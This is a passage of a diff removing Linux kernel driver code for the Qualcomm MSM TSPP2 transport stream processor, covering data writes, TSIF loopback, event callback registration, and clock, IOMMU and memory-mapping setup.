+- u32 desc_length; +- u32 desc_flags; +- u32 data_length = size; +- u32 data_offset = offset; +- struct tspp2_pipe *pipe; +- struct tspp2_src *src = (struct tspp2_src *)src_handle; +- +- if (!src) { +- pr_err("%s: Invalid source handle\n", __func__); +- return -EINVAL; +- } +- +- ret = pm_runtime_get_sync(src->device->dev); +- if (ret < 0) +- return ret; +- +- if (mutex_lock_interruptible(&src->device->mutex)) { +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -ERESTARTSYS; +- } +- +- if (!src->device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -EPERM; +- } +- +- if (!src->opened) { +- pr_err("%s: Source not opened\n", __func__); +- goto err_inval; +- } +- +- if (!src->enabled) { +- pr_err("%s: Source not enabled\n", __func__); +- goto err_inval; +- } +- +- if ((src->input != TSPP2_INPUT_MEMORY) || !src->input_pipe) { +- pr_err("%s: Invalid source input or no input pipe\n", __func__); +- goto err_inval; +- } +- +- pipe = src->input_pipe; +- +- if (offset + size > pipe->cfg.buffer_size) { +- pr_err("%s: offset + size > buffer size\n", __func__); +- goto err_inval; +- } +- +- while (data_length) { +- if (data_length > pipe->cfg.sps_cfg.descriptor_size) { +- desc_length = pipe->cfg.sps_cfg.descriptor_size; +- desc_flags = 0; +- } else { +- /* last descriptor */ +- desc_length = data_length; +- desc_flags = SPS_IOVEC_FLAG_EOT; +- } +- +- ret = sps_transfer_one(pipe->sps_pipe, +- pipe->iova + data_offset, +- desc_length, +- pipe->cfg.sps_cfg.user_info, +- desc_flags); +- +- if (ret) { +- pr_err("%s: sps_transfer_one failed, %d\n", +- __func__, ret); +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return ret; +- } +- +- data_offset += desc_length; +- data_length -= desc_length; +- } +- +- mutex_unlock(&src->device->mutex); +- +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- +- dev_dbg(src->device->dev, "%s: successful\n", __func__); +- +- return 0; +- +-err_inval: +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- +- return -EINVAL; +-} +-EXPORT_SYMBOL(tspp2_data_write); +- +-/** +- * tspp2_tsif_data_write() - Write (feed) data to a TSIF source via Loopback. +- * +- * @src_handle: Source to feed data to. +- * @data: data buffer containing one TS packet of size 188 Bytes. +- * +- * Write one TS packet of size 188 bytes to the TSIF loopback interface. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_tsif_data_write(u32 src_handle, u32 *data) +-{ +- int i; +- int ret; +- struct tspp2_src *src = (struct tspp2_src *)src_handle; +- struct tspp2_tsif_device *tsif_device; +- const unsigned int loopback_flags[3] = {0x01000000, 0, 0x02000000}; +- +- if (data == NULL) { +- pr_err("%s: NULL data\n", __func__); +- return -EINVAL; +- } +- +- if (!src) { +- pr_err("%s: Invalid source handle\n", __func__); +- return -EINVAL; +- } +- +- ret = pm_runtime_get_sync(src->device->dev); +- if (ret < 0) +- return ret; +- +- if (mutex_lock_interruptible(&src->device->mutex)) { +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -ERESTARTSYS; +- } +- +- if (!src->device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -EPERM; +- } +- +- if (!src->opened) { +- pr_err("%s: Source not opened\n", __func__); +- goto err_inval; +- } +- +- if (!src->enabled) { +- pr_err("%s: Source not enabled\n", __func__); +- goto err_inval; +- } +- +- if ((src->input != TSPP2_INPUT_TSIF0) +- && (src->input != TSPP2_INPUT_TSIF1)) { +- pr_err("%s: Invalid source input\n", __func__); +- goto err_inval; +- } +- +- tsif_device = &src->device->tsif_devices[src->input]; +- +- /* lpbk_flags : start && !last */ +- writel_relaxed(loopback_flags[0], +- tsif_device->base + TSPP2_TSIF_LPBK_FLAGS); +- +- /* 1-st dword of data */ +- writel_relaxed(data[0], +- tsif_device->base + TSPP2_TSIF_LPBK_DATA); +- +- /* Clear start bit */ +- writel_relaxed(loopback_flags[1], +- tsif_device->base + TSPP2_TSIF_LPBK_FLAGS); +- +- /* 45 more dwords */ +- for (i = 1; i < 46; i++) +- writel_relaxed(data[i], +- tsif_device->base + TSPP2_TSIF_LPBK_DATA); +- +- /* Set last bit */ +- writel_relaxed(loopback_flags[2], +- tsif_device->base + TSPP2_TSIF_LPBK_FLAGS); +- +- /* Last data dword */ +- writel_relaxed(data[46], tsif_device->base + TSPP2_TSIF_LPBK_DATA); +- +- mutex_unlock(&src->device->mutex); +- +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- +- dev_dbg(src->device->dev, "%s: successful\n", __func__); +- +- return 0; +- +-err_inval: +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- +- return -EINVAL; +-} +-EXPORT_SYMBOL(tspp2_tsif_data_write); +- +-/* Event notification API functions */ +- +-/** +- * tspp2_global_event_notification_register() - Get notified on a global event. +- * +- * @dev_id: TSPP2 device ID. +- * @global_event_bitmask: A bitmask of global events, +- * TSPP2_GLOBAL_EVENT_XXX. +- * @callback: User callback function. +- * @cookie: User information passed to the callback. +- * +- * Register a user callback which will be invoked when certain global +- * events occur. Note the values (mask, callback and cookie) are overwritten +- * when calling this function multiple times. Therefore it is possible to +- * "unregister" a callback by calling this function with the bitmask set to 0 +- * and with NULL callback and cookie. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_global_event_notification_register(u32 dev_id, +- u32 global_event_bitmask, +- void (*callback)(void *cookie, u32 event_bitmask), +- void *cookie) +-{ +- struct tspp2_device *device; +- unsigned long flags; +- u32 reg = 0; +- +- if (dev_id >= TSPP2_NUM_DEVICES) { +- pr_err("%s: Invalid device ID %d\n", __func__, dev_id); +- return -ENODEV; +- } +- +- device = tspp2_devices[dev_id]; +- if (!device) { +- pr_err("%s: Invalid device\n", __func__); +- return -ENODEV; +- } +- +- if (mutex_lock_interruptible(&device->mutex)) +- return -ERESTARTSYS; +- +- if (!device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&device->mutex); +- return -EPERM; +- } +- +- /* +- * Some of the interrupts that are generated when these events occur +- * may be disabled due to module parameters. So we make sure to enable +- * them here, depending on which event was requested. If some events +- * were requested before and now this function is called again with +- * other events, though, we want to restore the interrupt configuration +- * to the default state according to the module parameters. +- */ +- reg = readl_relaxed(device->base + TSPP2_GLOBAL_IRQ_ENABLE); +- if (global_event_bitmask & TSPP2_GLOBAL_EVENT_INVALID_AF_CTRL) { +- reg |= (0x1 << GLOBAL_IRQ_TSP_INVALID_AF_OFFS); +- } else { +- if (tspp2_en_invalid_af_ctrl) +- reg |= (0x1 << GLOBAL_IRQ_TSP_INVALID_AF_OFFS); +- else +- reg &= ~(0x1 << GLOBAL_IRQ_TSP_INVALID_AF_OFFS); +- } +- +- if (global_event_bitmask & TSPP2_GLOBAL_EVENT_INVALID_AF_LENGTH) { +- reg |= (0x1 << GLOBAL_IRQ_TSP_INVALID_LEN_OFFS); +- } else { +- if (tspp2_en_invalid_af_length) +- reg |= (0x1 << GLOBAL_IRQ_TSP_INVALID_LEN_OFFS); +- else +- reg &= ~(0x1 << GLOBAL_IRQ_TSP_INVALID_LEN_OFFS); +- } +- +- if (global_event_bitmask & TSPP2_GLOBAL_EVENT_PES_NO_SYNC) { +- reg |= (0x1 << GLOBAL_IRQ_PES_NO_SYNC_OFFS); +- } else { +- if (tspp2_en_pes_no_sync) +- reg |= (0x1 << GLOBAL_IRQ_PES_NO_SYNC_OFFS); +- else +- reg &= ~(0x1 << GLOBAL_IRQ_PES_NO_SYNC_OFFS); +- } +- +- writel_relaxed(reg, device->base + TSPP2_GLOBAL_IRQ_ENABLE); +- +- spin_lock_irqsave(&device->spinlock, flags); +- device->event_callback = callback; +- device->event_cookie = cookie; +- device->event_bitmask = global_event_bitmask; +- spin_unlock_irqrestore(&device->spinlock, flags); +- +- mutex_unlock(&device->mutex); +- +- dev_dbg(device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +-EXPORT_SYMBOL(tspp2_global_event_notification_register); +- +-/** +- * tspp2_src_event_notification_register() - Get notified on a source event. +- * +- * @src_handle: Source handle. +- * @src_event_bitmask: A bitmask of source events, +- * TSPP2_SRC_EVENT_XXX. +- * @callback: User callback function. +- * @cookie: User information passed to the callback. +- * +- * Register a user callback which will be invoked when certain source +- * events occur. Note the values (mask, callback and cookie) are overwritten +- * when calling this function multiple times. Therefore it is possible to +- * "unregister" a callback by calling this function with the bitmask set to 0 +- * and with NULL callback and cookie. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_src_event_notification_register(u32 src_handle, +- u32 src_event_bitmask, +- void (*callback)(void *cookie, u32 event_bitmask), +- void *cookie) +-{ +- int ret; +- u32 reg; +- unsigned long flags; +- struct tspp2_src *src = (struct tspp2_src *)src_handle; +- +- if (!src) { +- pr_err("%s: Invalid source handle\n", __func__); +- return -EINVAL; +- } +- +- ret = pm_runtime_get_sync(src->device->dev); +- if (ret < 0) +- return ret; +- +- if (mutex_lock_interruptible(&src->device->mutex)) { +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -ERESTARTSYS; +- } +- +- if (!src->device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -EPERM; +- } +- +- if (!src->opened) { +- pr_err("%s: Source not opened\n", __func__); +- goto err_inval; +- } +- +- if (((src->input == TSPP2_INPUT_TSIF0) || +- (src->input == TSPP2_INPUT_TSIF1)) && +- ((src_event_bitmask & TSPP2_SRC_EVENT_MEMORY_READ_ERROR) || +- (src_event_bitmask & TSPP2_SRC_EVENT_FLOW_CTRL_STALL))) { +- pr_err("%s: Invalid event bitmask for a source with TSIF input\n", +- __func__); +- goto err_inval; +- } +- +- if ((src->input == TSPP2_INPUT_MEMORY) && +- ((src_event_bitmask & TSPP2_SRC_EVENT_TSIF_LOST_SYNC) || +- (src_event_bitmask & TSPP2_SRC_EVENT_TSIF_TIMEOUT) || +- (src_event_bitmask & TSPP2_SRC_EVENT_TSIF_OVERFLOW) || +- (src_event_bitmask & TSPP2_SRC_EVENT_TSIF_PKT_READ_ERROR) || +- (src_event_bitmask & TSPP2_SRC_EVENT_TSIF_PKT_WRITE_ERROR))) { +- pr_err("%s: Invalid event bitmask for a source with memory input\n", +- __func__); +- goto err_inval; +- } +- +- spin_lock_irqsave(&src->device->spinlock, flags); +- src->event_callback = callback; +- src->event_cookie = cookie; +- src->event_bitmask = src_event_bitmask; +- spin_unlock_irqrestore(&src->device->spinlock, flags); +- +- /* Enable/disable flow control stall interrupt on the source */ +- reg = readl_relaxed(src->device->base + TSPP2_GLOBAL_IRQ_ENABLE); +- if (callback && (src_event_bitmask & TSPP2_SRC_EVENT_FLOW_CTRL_STALL)) { +- reg |= ((0x1 << src->hw_index) << +- GLOBAL_IRQ_FC_STALL_OFFS); +- } else { +- reg &= ~((0x1 << src->hw_index) << +- GLOBAL_IRQ_FC_STALL_OFFS); +- } +- writel_relaxed(reg, src->device->base + TSPP2_GLOBAL_IRQ_ENABLE); +- +- mutex_unlock(&src->device->mutex); +- +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- +- dev_dbg(src->device->dev, "%s: successful\n", __func__); +- +- return 0; +- +-err_inval: +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- +- return -EINVAL; +-} +-EXPORT_SYMBOL(tspp2_src_event_notification_register); +- +-/** +- * tspp2_filter_event_notification_register() - Get notified on a filter event. +- * +- * @filter_handle: Filter handle. +- * @filter_event_bitmask: A bitmask of filter events, +- * TSPP2_FILTER_EVENT_XXX. +- * @callback: User callback function. +- * @cookie: User information passed to the callback. +- * +- * Register a user callback which will be invoked when certain filter +- * events occur. Note the values (mask, callback and cookie) are overwritten +- * when calling this function multiple times. Therefore it is possible to +- * "unregister" a callback by calling this function with the bitmask set to 0 +- * and with NULL callback and cookie. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_filter_event_notification_register(u32 filter_handle, +- u32 filter_event_bitmask, +- void (*callback)(void *cookie, u32 event_bitmask), +- void *cookie) +-{ +- int ret; +- int idx; +- u32 reg; +- unsigned long flags; +- struct tspp2_filter *filter = (struct tspp2_filter *)filter_handle; +- +- if (!filter) { +- pr_err("%s: Invalid filter handle\n", __func__); +- return -EINVAL; +- } +- +- ret = pm_runtime_get_sync(filter->device->dev); +- if (ret < 0) +- return ret; +- +- if (mutex_lock_interruptible(&filter->device->mutex)) { +- pm_runtime_mark_last_busy(filter->device->dev); +- pm_runtime_put_autosuspend(filter->device->dev); +- return -ERESTARTSYS; +- } +- +- if (!filter->device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&filter->device->mutex); +- pm_runtime_mark_last_busy(filter->device->dev); +- pm_runtime_put_autosuspend(filter->device->dev); +- return -EPERM; +- } +- +- if (!filter->opened) { +- pr_err("%s: Filter not opened\n", __func__); +- mutex_unlock(&filter->device->mutex); +- pm_runtime_mark_last_busy(filter->device->dev); +- pm_runtime_put_autosuspend(filter->device->dev); +- return -EINVAL; +- } +- +- spin_lock_irqsave(&filter->device->spinlock, flags); +- filter->event_callback = callback; +- filter->event_cookie = cookie; +- filter->event_bitmask = filter_event_bitmask; +- spin_unlock_irqrestore(&filter->device->spinlock, flags); +- +- /* Enable/disable SC high/low interrupts per filter as requested */ +- idx = (filter->context >> 5); +- reg = readl_relaxed(filter->device->base + +- TSPP2_SC_GO_HIGH_ENABLE(idx)); +- if (callback && +- (filter_event_bitmask & TSPP2_FILTER_EVENT_SCRAMBLING_HIGH)) { +- reg |= (0x1 << TSPP2_MODULUS_OP(filter->context, 32)); +- } else { +- reg &= ~(0x1 << TSPP2_MODULUS_OP(filter->context, 32)); +- } +- writel_relaxed(reg, filter->device->base + +- TSPP2_SC_GO_HIGH_ENABLE(idx)); +- +- reg = readl_relaxed(filter->device->base + +- TSPP2_SC_GO_LOW_ENABLE(idx)); +- if (callback && +- (filter_event_bitmask & TSPP2_FILTER_EVENT_SCRAMBLING_LOW)) { +- reg |= (0x1 << TSPP2_MODULUS_OP(filter->context, 32)); +- } else { +- reg &= ~(0x1 << TSPP2_MODULUS_OP(filter->context, 32)); +- } +- writel_relaxed(reg, filter->device->base + +- TSPP2_SC_GO_LOW_ENABLE(idx)); +- +- mutex_unlock(&filter->device->mutex); +- +- pm_runtime_mark_last_busy(filter->device->dev); +- pm_runtime_put_autosuspend(filter->device->dev); +- +- dev_dbg(filter->device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +-EXPORT_SYMBOL(tspp2_filter_event_notification_register); +- +-/** +- * tspp2_get_filter_hw_index() - Get a filter's hardware index. +- * +- * @filter_handle: Filter handle. +- * +- * This is an helper function to support tspp2 auto-testing. +- * +- * Return the filter's hardware index on success, error value otherwise. +- */ +-int tspp2_get_filter_hw_index(u32 filter_handle) +-{ +- struct tspp2_filter *filter = (struct tspp2_filter *)filter_handle; +- if (!filter_handle) +- return -EINVAL; +- return filter->hw_index; +-} +-EXPORT_SYMBOL(tspp2_get_filter_hw_index); +- +-/** +- * tspp2_get_reserved_hw_index() - Get a source's reserved hardware index. +- * +- * @src_handle: Source handle. +- * +- * This is an helper function to support tspp2 auto-testing. +- * +- * Return the source's reserved hardware index on success, +- * error value otherwise. +- */ +-int tspp2_get_reserved_hw_index(u32 src_handle) +-{ +- struct tspp2_src *src = (struct tspp2_src *)src_handle; +- if (!src_handle) +- return -EINVAL; +- return src->reserved_filter_hw_index; +-} +-EXPORT_SYMBOL(tspp2_get_reserved_hw_index); +- +-/** +- * tspp2_get_ops_array() - Get filter's operations. +- * +- * @filter_handle: Filter handle. +- * @ops_array: The filter's operations. +- * @num_of_ops: The filter's number of operations. +- * +- * This is an helper function to support tspp2 auto-testing. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_get_ops_array(u32 filter_handle, +- struct tspp2_operation ops_array[TSPP2_MAX_OPS_PER_FILTER], +- u8 *num_of_ops) +-{ +- int i; +- struct tspp2_filter *filter = (struct tspp2_filter *)filter_handle; +- if (!filter_handle || !num_of_ops) +- return -EINVAL; +- *num_of_ops = filter->num_user_operations; +- for (i = 0; i < *num_of_ops; i++) +- ops_array[i] = filter->operations[i]; +- return 0; +-} +-EXPORT_SYMBOL(tspp2_get_ops_array); +- +-/* Platform driver related functions: */ +- +-/** +- * msm_tspp2_dt_to_pdata() - Copy device-tree data to platfrom data structure. +- * +- * @pdev: Platform device. +- * +- * Return pointer to allocated platform data on success, NULL on failure. +- */ +-static struct msm_tspp2_platform_data * +-msm_tspp2_dt_to_pdata(struct platform_device *pdev) +-{ +- struct device_node *node = pdev->dev.of_node; +- struct msm_tspp2_platform_data *data; +- int rc; +- +- /* Note: memory allocated by devm_kzalloc is freed automatically */ +- data = devm_kzalloc(&pdev->dev, sizeof(*data), GFP_KERNEL); +- if (!data) { +- pr_err("%s: Unable to allocate platform data\n", __func__); +- return NULL; +- } +- +- /* Get power regulator */ +- if (!of_get_property(node, "vdd-supply", NULL)) { +- pr_err("%s: Could not find vdd-supply property\n", __func__); +- return NULL; +- } +- +- /* Get IOMMU information */ +- rc = of_property_read_string(node, "qcom,iommu-hlos-group", +- &data->hlos_group); +- if (rc) { +- pr_err("%s: Could not find iommu-hlos-group property, err = %d\n", +- __func__, rc); +- return NULL; +- } +- rc = of_property_read_string(node, "qcom,iommu-cpz-group", +- &data->cpz_group); +- if (rc) { +- pr_err("%s: Could not find iommu-cpz-group property, err = %d\n", +- __func__, rc); +- return NULL; +- } +- rc = of_property_read_u32(node, "qcom,iommu-hlos-partition", +- &data->hlos_partition); +- if (rc) { +- pr_err("%s: Could not find iommu-hlos-partition property, err = %d\n", +- __func__, rc); +- return NULL; +- } +- rc = of_property_read_u32(node, "qcom,iommu-cpz-partition", +- &data->cpz_partition); +- if (rc) { +- pr_err("%s: Could not find iommu-cpz-partition property, err = %d\n", +- __func__, rc); +- return NULL; +- } +- +- return data; +-} +- +-static void msm_tspp2_iommu_info_free(struct tspp2_device *device) +-{ +- if (device->iommu_info.hlos_group) { +- iommu_group_put(device->iommu_info.hlos_group); +- device->iommu_info.hlos_group = NULL; +- } +- +- if (device->iommu_info.cpz_group) { +- iommu_group_put(device->iommu_info.cpz_group); +- device->iommu_info.cpz_group = NULL; +- } +- +- device->iommu_info.hlos_domain = NULL; +- device->iommu_info.cpz_domain = NULL; +- device->iommu_info.hlos_domain_num = -1; +- device->iommu_info.cpz_domain_num = -1; +- device->iommu_info.hlos_partition = -1; +- device->iommu_info.cpz_partition = -1; +-} +- +-/** +- * msm_tspp2_iommu_info_get() - Get IOMMU information. +- * +- * @pdev: Platform device, containing platform information. +- * @device: TSPP2 device. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int msm_tspp2_iommu_info_get(struct platform_device *pdev, +- struct tspp2_device *device) +-{ +- int ret = 0; +- struct msm_tspp2_platform_data *data = pdev->dev.platform_data; +- +- device->iommu_info.hlos_group = NULL; +- device->iommu_info.cpz_group = NULL; +- device->iommu_info.hlos_domain = NULL; +- device->iommu_info.cpz_domain = NULL; +- device->iommu_info.hlos_domain_num = -1; +- device->iommu_info.cpz_domain_num = -1; +- device->iommu_info.hlos_partition = -1; +- device->iommu_info.cpz_partition = -1; +- +- device->iommu_info.hlos_group = iommu_group_find(data->hlos_group); +- if (!device->iommu_info.hlos_group) { +- dev_err(&pdev->dev, "%s: Cannot find IOMMU HLOS group", +- __func__); +- ret = -EINVAL; +- goto err_out; +- } +- device->iommu_info.cpz_group = iommu_group_find(data->cpz_group); +- if (!device->iommu_info.cpz_group) { +- dev_err(&pdev->dev, "%s: Cannot find IOMMU CPZ group", +- __func__); +- ret = -EINVAL; +- goto err_out; +- } +- +- device->iommu_info.hlos_domain = +- iommu_group_get_iommudata(device->iommu_info.hlos_group); +- if (IS_ERR_OR_NULL(device->iommu_info.hlos_domain)) { +- dev_err(&pdev->dev, "%s: iommu_group_get_iommudata failed", +- __func__); +- ret = -EINVAL; +- goto err_out; +- } +- +- device->iommu_info.cpz_domain = +- iommu_group_get_iommudata(device->iommu_info.cpz_group); +- if (IS_ERR_OR_NULL(device->iommu_info.cpz_domain)) { +- device->iommu_info.hlos_domain = NULL; +- dev_err(&pdev->dev, "%s: iommu_group_get_iommudata failed", +- __func__); +- ret = -EINVAL; +- goto err_out; +- } +- +- device->iommu_info.hlos_domain_num = +- msm_find_domain_no(device->iommu_info.hlos_domain); +- device->iommu_info.cpz_domain_num = +- msm_find_domain_no(device->iommu_info.cpz_domain); +- device->iommu_info.hlos_partition = data->hlos_partition; +- device->iommu_info.cpz_partition = data->cpz_partition; +- +- return 0; +- +-err_out: +- msm_tspp2_iommu_info_free(device); +- +- return ret; +-} +- +-/** +- * tspp2_clocks_put() - Put clocks and disable regulator. +- * +- * @device: TSPP2 device. +- */ +-static void tspp2_clocks_put(struct tspp2_device *device) +-{ +- if (device->tsif_ref_clk) +- clk_put(device->tsif_ref_clk); +- +- if (device->tspp2_klm_ahb_clk) +- clk_put(device->tspp2_klm_ahb_clk); +- +- if (device->tspp2_vbif_clk) +- clk_put(device->tspp2_vbif_clk); +- +- if (device->vbif_ahb_clk) +- clk_put(device->vbif_ahb_clk); +- +- if (device->vbif_axi_clk) +- clk_put(device->vbif_axi_clk); +- +- if (device->tspp2_core_clk) +- clk_put(device->tspp2_core_clk); +- +- if (device->tspp2_ahb_clk) +- clk_put(device->tspp2_ahb_clk); +- +- device->tspp2_ahb_clk = NULL; +- device->tspp2_core_clk = NULL; +- device->tspp2_vbif_clk = NULL; +- device->vbif_ahb_clk = NULL; +- device->vbif_axi_clk = NULL; +- device->tspp2_klm_ahb_clk = NULL; +- device->tsif_ref_clk = NULL; +-} +- +-/** +- * msm_tspp2_clocks_setup() - Get clocks and set their rate, enable regulator. +- * +- * @pdev: Platform device, containing platform information. +- * @device: TSPP2 device. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int msm_tspp2_clocks_setup(struct platform_device *pdev, +- struct tspp2_device *device) +-{ +- int ret = 0; +- unsigned long rate_in_hz = 0; +- struct clk *tspp2_core_clk_src = NULL; +- +- /* Get power regulator (GDSC) */ +- device->gdsc = devm_regulator_get(&pdev->dev, "vdd"); +- if (IS_ERR(device->gdsc)) { +- pr_err("%s: Failed to get vdd power regulator\n", __func__); +- ret = PTR_ERR(device->gdsc); +- device->gdsc = NULL; +- return ret; +- } +- +- device->tspp2_ahb_clk = NULL; +- device->tspp2_core_clk = NULL; +- device->tspp2_vbif_clk = NULL; +- device->vbif_ahb_clk = NULL; +- device->vbif_axi_clk = NULL; +- device->tspp2_klm_ahb_clk = NULL; +- device->tsif_ref_clk = NULL; +- +- device->tspp2_ahb_clk = clk_get(&pdev->dev, "bcc_tspp2_ahb_clk"); +- if (IS_ERR(device->tspp2_ahb_clk)) { +- pr_err("%s: Failed to get %s", __func__, "bcc_tspp2_ahb_clk"); +- ret = PTR_ERR(device->tspp2_ahb_clk); +- device->tspp2_ahb_clk = NULL; +- goto err_clocks; +- } +- +- device->tspp2_core_clk = clk_get(&pdev->dev, "bcc_tspp2_core_clk"); +- if (IS_ERR(device->tspp2_core_clk)) { +- pr_err("%s: Failed to get %s", __func__, "bcc_tspp2_core_clk"); +- ret = PTR_ERR(device->tspp2_core_clk); +- device->tspp2_core_clk = NULL; +- goto err_clocks; +- } +- +- device->tspp2_vbif_clk = clk_get(&pdev->dev, "bcc_vbif_tspp2_clk"); +- if (IS_ERR(device->tspp2_vbif_clk)) { +- pr_err("%s: Failed to get %s", __func__, "bcc_vbif_tspp2_clk"); +- ret = PTR_ERR(device->tspp2_vbif_clk); +- device->tspp2_vbif_clk = NULL; +- goto err_clocks; +- } +- +- device->vbif_ahb_clk = clk_get(&pdev->dev, "iface_vbif_clk"); +- if (IS_ERR(device->vbif_ahb_clk)) { +- pr_err("%s: Failed to get %s", __func__, "iface_vbif_clk"); +- ret = PTR_ERR(device->vbif_ahb_clk); +- device->vbif_ahb_clk = NULL; +- goto err_clocks; +- } +- +- device->vbif_axi_clk = clk_get(&pdev->dev, "vbif_core_clk"); +- if (IS_ERR(device->vbif_axi_clk)) { +- pr_err("%s: Failed to get %s", __func__, "vbif_core_clk"); +- ret = PTR_ERR(device->vbif_axi_clk); +- device->vbif_axi_clk = NULL; +- goto err_clocks; +- } +- +- device->tspp2_klm_ahb_clk = clk_get(&pdev->dev, "bcc_klm_ahb_clk"); +- if (IS_ERR(device->tspp2_klm_ahb_clk)) { +- pr_err("%s: Failed to get %s", __func__, "bcc_klm_ahb_clk"); +- ret = PTR_ERR(device->tspp2_klm_ahb_clk); +- device->tspp2_klm_ahb_clk = NULL; +- goto err_clocks; +- } +- +- device->tsif_ref_clk = clk_get(&pdev->dev, "gcc_tsif_ref_clk"); +- if (IS_ERR(device->tsif_ref_clk)) { +- pr_err("%s: Failed to get %s", __func__, "gcc_tsif_ref_clk"); +- ret = PTR_ERR(device->tsif_ref_clk); +- device->tsif_ref_clk = NULL; +- goto err_clocks; +- } +- +- /* Set relevant clock rates */ +- rate_in_hz = clk_round_rate(device->tsif_ref_clk, 1); +- if (clk_set_rate(device->tsif_ref_clk, rate_in_hz)) { +- pr_err("%s: Failed to set rate %lu to %s\n", __func__, +- rate_in_hz, "gcc_tsif_ref_clk"); +- goto err_clocks; +- } +- +- /* We need to set the rate of tspp2_core_clk_src */ +- tspp2_core_clk_src = clk_get_parent(device->tspp2_core_clk); +- if (tspp2_core_clk_src) { +- rate_in_hz = clk_round_rate(tspp2_core_clk_src, 1); +- if (clk_set_rate(tspp2_core_clk_src, rate_in_hz)) { +- pr_err("%s: Failed to set rate %lu to tspp2_core_clk_src\n", +- __func__, rate_in_hz); +- goto err_clocks; +- } +- } else { +- pr_err("%s: Failed to get tspp2_core_clk parent\n", __func__); +- goto err_clocks; +- } +- +- return 0; +- +-err_clocks: +- tspp2_clocks_put(device); +- +- return ret; +-} +- +-/** +- * msm_tspp2_map_io_memory() - Map memory resources to kernel space. +- * +- * @pdev: Platform device, containing platform information. +- * @device: TSPP2 device. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int msm_tspp2_map_io_memory(struct platform_device *pdev, +- struct tspp2_device *device) +-{ +- struct resource *mem_tsif0; +- struct resource *mem_tsif1; +- struct resource *mem_tspp2; +- struct resource *mem_bam; +- +- /* Get memory resources */ +- mem_tsif0 = platform_get_resource_byname(pdev, +- IORESOURCE_MEM, "MSM_TSIF0"); +- if (!mem_tsif0) { +- dev_err(&pdev->dev, "%s: Missing TSIF0 MEM resource", __func__); +- return -ENXIO; +- } +- +- mem_tsif1 = platform_get_resource_byname(pdev, +- IORESOURCE_MEM, "MSM_TSIF1"); +- if (!mem_tsif1) { +- dev_err(&pdev->dev, "%s: Missing TSIF1 MEM resource", __func__); +- return -ENXIO; +- } +- +- mem_tspp2 = platform_get_resource_byname(pdev, +- IORESOURCE_MEM, "MSM_TSPP2"); +- if (!mem_tspp2) { +- dev_err(&pdev->dev, "%s: Missing TSPP2 MEM resource", __func__); +- return -ENXIO; +- } +- +- mem_bam = platform_get_resource_byname(pdev, +- IORESOURCE_MEM, "MSM_TSPP2_BAM"); +- if (!mem_bam) { +- dev_err(&pdev->dev, "%s: Missing BAM MEM resource", __func__); +- return -ENXIO; +- } +- +- /* Map memory physical addresses to kernel space */ +- device->tsif_devices[0].base = ioremap(mem_tsif0->start, +- resource_size(mem_tsif0)); +- if (!device->tsif_devices[0].base) { +- dev_err(&pdev->dev, "%s: ioremap failed", __func__); +- goto err_map_tsif0; +- } +- +- device->tsif_devices[1].base = ioremap(mem_tsif1->start, +- resource_size(mem_tsif1)); +- if (!device->tsif_devices[1].base) { +- dev_err(&pdev->dev, "%s: ioremap failed", __func__); +- goto err_map_tsif1; +- } +- +- device->base = ioremap(mem_tspp2->start, resource_size(mem_tspp2)); +- if (!device->base) { +- dev_err(&pdev->dev, "%s: ioremap failed", __func__); +- goto err_map_dev; +- } +- +- memset(&device->bam_props, 0, sizeof(device->bam_props)); +- device->bam_props.phys_addr = mem_bam->start; +- device->bam_props.virt_addr = ioremap(mem_bam->start, +- resource_size(mem_bam)); +- if (!device->bam_props.virt_addr) { +- dev_err(&pdev->dev, "%s: ioremap failed", __func__); +- goto err_map_bam; +- } +- +- return 0; +- +-err_map_bam: +- iounmap(device->base); +- +-err_map_dev: +- iounmap(device->tsif_devices[1].base); +- +-err_map_tsif1: +- iounmap(device->tsif_devices[0].base); +- +-err_map_tsif0: +- return -ENXIO; +-} +- +-/** +- * tspp2_event_work_prepare() - Prepare and queue a work element. +- * +- * @device: TSPP2 device. +- * @callback: User callback to invoke. +- * @cookie: User cookie. +- * @event_bitmask: Event bitmask +- * +- * Get a free work element from the pool, prepare it and queue it +- * to the work queue. When scheduled, the work will invoke the user callback +- * for the event that the HW reported. +- */ +-static void tspp2_event_work_prepare(struct tspp2_device *device, +- void (*callback)(void *cookie, u32 event_bitmask), +- void *cookie, +- u32 